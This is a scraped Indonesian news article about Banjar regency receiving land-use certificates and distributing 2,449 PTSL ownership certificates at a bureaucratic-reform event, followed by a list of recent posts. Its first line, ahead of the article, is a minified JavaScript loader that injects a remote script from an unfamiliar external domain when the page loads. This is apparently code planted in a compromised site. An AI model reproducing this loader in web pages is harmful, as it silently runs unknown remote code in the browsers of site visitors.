(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Pemkab Banjar Terima 21 Sertipikat Hak Pakai, 2.449 SHM Program PTSL Diserahkan Â


KANALKALIMANTAN.COM, MARTAPURA – Reformasi birokrasi upaya untuk melakukan perubahan mendasar sistem penyelenggaraan pemerintahan terutama aspek kelembagaan, ketatalaksanaan, dan sumber daya manusia aparatur.

Demikian dikatakan Bupati Banjar H Saidi Mansyur saat acara internalisasi reformasi birokrasi dalam rangka pembangunan zona integritas menuju Wilayah Bebas Dari Korupsi (WBK) serta Wilayah Birokrasi Bersih dan Melayani (WBBM) pada Kantor Pertanahan Kabupaten Banjar sekaligus penyerahan sertipikat tanah Pemerintah Kabupaten Banjar, Program Pendaftaran Tanah Sistematis Lengkap (PTSL), PLN, dan lintas sektor.

Acara dihadiri Kepala Kantor Wilayah BPN Provinsi Kalsel H Alen Saputra, Kepala Kantor Pertanahan Kabupaten Banjar Syamsu Wijana bersama erwakilan penerima sertipikat dari masyarakat, BUMN maupun instansi pemerintah.

“Alhamdulillah berkat kerjasama yang baik antara Pemerintah Kabupaten Banjar dan Kantor Pertanahan Kabupaten Banjar saat ini menerima sertifikat hak pakai tanah milik Pemkab Banjar sebanyak 21 sertipikat,” ucapnya, Rabu (13/11/2021).

 

 

Kegiatan ini merupakan langkah awal dan merupakan bukti bahwa Kantor Pertanahan Kabupaten Banjar siap membangun zona integritas di lingkungannya.

Poin penting dan utama dalam pelaksanaan reformasi birokrasi ini adalah komitmen dari pimpinan dan seluruh jajaran dalam membangun zona integritas. Mewujudkan pemerintahan yang bersih dan bebas dari korupsi, kolusi dan nepotisme, serta peningkatan kualitas pelayanan publik.

Penyerahan sertipikat hak pakai Pemkab Banjar oleh Kepala Kantor Wilayah BPN Provinsi Kalsel kepada Bupati Banjar sebanyak 21 sertipikat dan penyerahan sertifikat HGB PLN sebanyak 12 sertipikat kepada PT PLN Unit Induk Pembangunan Kalimantan Bagian Timur.

Kemudian penyerahan Sertipikat Hak Milik (SHM) program PTSL oleh Bupati Banjar kepada perwakilan masyarakat Desa Gunung Batu, Batu Tanam dan Madurejo sebanyak 2.449 sertipikat. Serta penyerahan SHM program lintas sektor kepada perwakilan masyarakat nelayan tangkap, nelayan budidaya dan usaha kecil menengah sebanyak 300 sertipikat.

Program ini adalah mewujudkan kepastian hukum dan perlindungan hukum hak atas tanah masyarakat berlandaskan asas sederhana, cepat, lancar, aman, adil, merata, terbuka, dan akuntabel. Meningkatkan kesejahteraan masyarakat dan untuk menghindari sengketa dan perselisihan pertanahan kemudian hari. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.